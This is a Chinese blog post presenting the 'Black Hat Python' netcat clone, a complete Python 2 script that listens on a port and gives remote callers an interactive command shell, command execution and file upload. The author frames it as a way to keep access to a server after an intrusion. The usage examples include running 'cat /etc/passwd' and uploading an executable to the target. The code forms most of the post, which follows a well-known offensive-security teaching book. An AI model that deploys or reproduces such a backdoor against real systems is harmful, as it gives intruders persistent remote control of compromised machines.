Black Hat Python之#1:制作简单的nc工具

nc即netcat,是网络界的瑞士军刀。当入侵了一个服务器之后,发现nc工具已经被系统管理员移除之后,可以自己制作一个简单的客户端和服务器端来实现①上传文件②执行命令③开启一个新的命令行shell等几个功能。

  1 __author__ = 'seven'
  2 import sys
  3 import socket
  4 import getopt
  5 import threading
  6 import subprocess
  7 
  8 listen = False
  9 command = False
 10 upload = False
 11 execute = ""
 12 target = ""
 13 upload_destination = ""
 14 port = 0
 15 
 16 
 17 def usage():
 18     print "BHP Net Tool"
 19     print
 20     print "Usage: netcat.py -t target_host -p port"
 21     print "-l --listen                - listen on [host]:[port] for incoming connections"
 22     print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
 23     print "-c --command               - initialize a command shell"
 24     print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
 25     print
 26     print
 27     print "Examples: "
 28     print "netcat.py -t 192.168.0.1 -p 5555 -l -c"
 29     print "netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
 30     print "netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
 31     print "echo 'ABCDEFGHI' | ./netcat.py -t 192.168.11.12 -p 135"
 32     sys.exit(0)
 33 
 34 
 35 def client_sender(buffer):
 36     client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 37     try:
 38         client.connect((target, port))
 39         if len(buffer):
 40             client.send(buffer)
 41 
 42         while True:
 43             recv_len = 1
 44             response = ""
 45             while recv_len:
 46                 data = client.recv(4096)
 47                 recv_len = len(data)
 48                 response += data
 49                 if recv_len < 4096:
 50                     break
 51 
 52             print response,
 53 
 54             buffer = raw_input("")
 55             buffer += "\n"
 56             client.send(buffer)
 57 
 58     except:
 59         print "[*] Exception! Exiting."
 60         client.close()
 61 
 62 
 63 def server_loop():
 64     global target
 65     if not len(target):
 66         target = "0.0.0.0"
 67 
 68     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 69     server.bind((target, port))
 70     server.listen(5)
 71 
 72     while True:
 73         client_socket, addr = server.accept()
 74         client_thread = threading.Thread(target=client_handler, args=(client_socket,))
 75         client_thread.start()
 76 
 77 
 78 def run_command(command):
 79     command = command.rstrip()
 80     try:
 81         output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
 82     except:
 83         output = "Failed to execute command.\r\n"
 84 
 85     return output
 86 
 87 
 88 def client_handler(client_socket):
 89     global upload
 90     global execute
 91     global command
 92 
 93     if len(upload_destination):
 94         file_buffer = ""
 95         while True:
 96             data = client_socket.recv(1024)
 97             if not data:
 98                 break
 99             else:
100                 file_buffer += data
101 
102         try:
103             file_descriptor = open(upload_destination, "wb")
104             file_descriptor.write(file_buffer)
105             file_descriptor.close()
106             client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
107         except:
108             client_socket.send("Failed to save file to %s\r\n" % upload_destination)
109 
110     if len(execute):
111         output = run_command(execute)
112         client_socket.send(output)
113 
114     if command:
115         while True:
116             client_socket.send("<BHP:#> ")
117             cmd_buffer = ""
118             while "\n" not in cmd_buffer:
119                 cmd_buffer += client_socket.recv(1024)
120                 response = run_command(cmd_buffer)
121                 client_socket.send(response)
122 
123 def main():
124     global listen
125     global port
126     global execute
127     global command
128     global upload_destination
129     global target
130 
131     if not len(sys.argv[1:]):
132         usage()
133 
134     # read the commandline options
135     try:
136         opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
137                                    ["help", "listen", "execute", "target", "port", "command", "upload"])
138     except getopt.GetoptError as err:
139         print str(err)
140         usage()
141 
142     for o, a in opts:
143         if o in ("-h", "--help"):
144             usage()
145         elif o in ("-l", "--listen"):
146             listen = True
147         elif o in ("-e", "--execution"):
148             execute = a
149         elif o in ("-t", "--target"):
150             target = a
151         elif o in ("-p", "--port"):
152             port = int(a)
153         elif o in ("-c", "--command"):
154             command = True
155         elif o in ("-u", "--upload"):
156             upload_destination = a
157         else:
158             assert False, "Unhandled Option"
159 
160     if not listen and len(target) and port > 0:
161         buffer = sys.stdin.read()
162         client_sender(buffer)
163 
164     if listen:
165         server_loop()
166 
167 main()

 

在主函数中,通过判断是否含有-l参数来决定是客户端还是服务器端。在实际应用中可以理解为,在目标服务器中作为服务器端以不同功能运行,监听来自攻击者主机的消息,例如以执行命令的功能运行,那么从攻击者主机发来的消息可能是一条命令,而如果以开启新的命令行shell的功能运行的话,那么攻击者主机就可以以命令行交互的方式访问目标服务器;攻击者主机作为客户端与目标服务器启动的程序连接,发送相应数据。

相应的一些例子:

开启两个终端,分别作为服务器端和客户端

服务器端

(图1)

  客户端

(图2)

从图1中可以知道,-l参数说明开始监听,-c参数说明开启一个command shell,如果这操作在服务器上执行,那么意味着攻击者可以通过目标服务器的ip地址和9999端口对目标服务器进行访问并且可以以命令行交互的形式。图2就是一个简单的客户端连接,可以看到命令行交互的形式

这里补充一点:由于脚本读取的是标准输入知道接收到EOF(文件末尾)标志,所以看到图2会是这样。在Windows下是ctrl+z,在Linux下是ctrl+d。

posted on 2015-09-12 15:44  7777777line  阅读(487)  评论(0编辑  收藏  举报

导航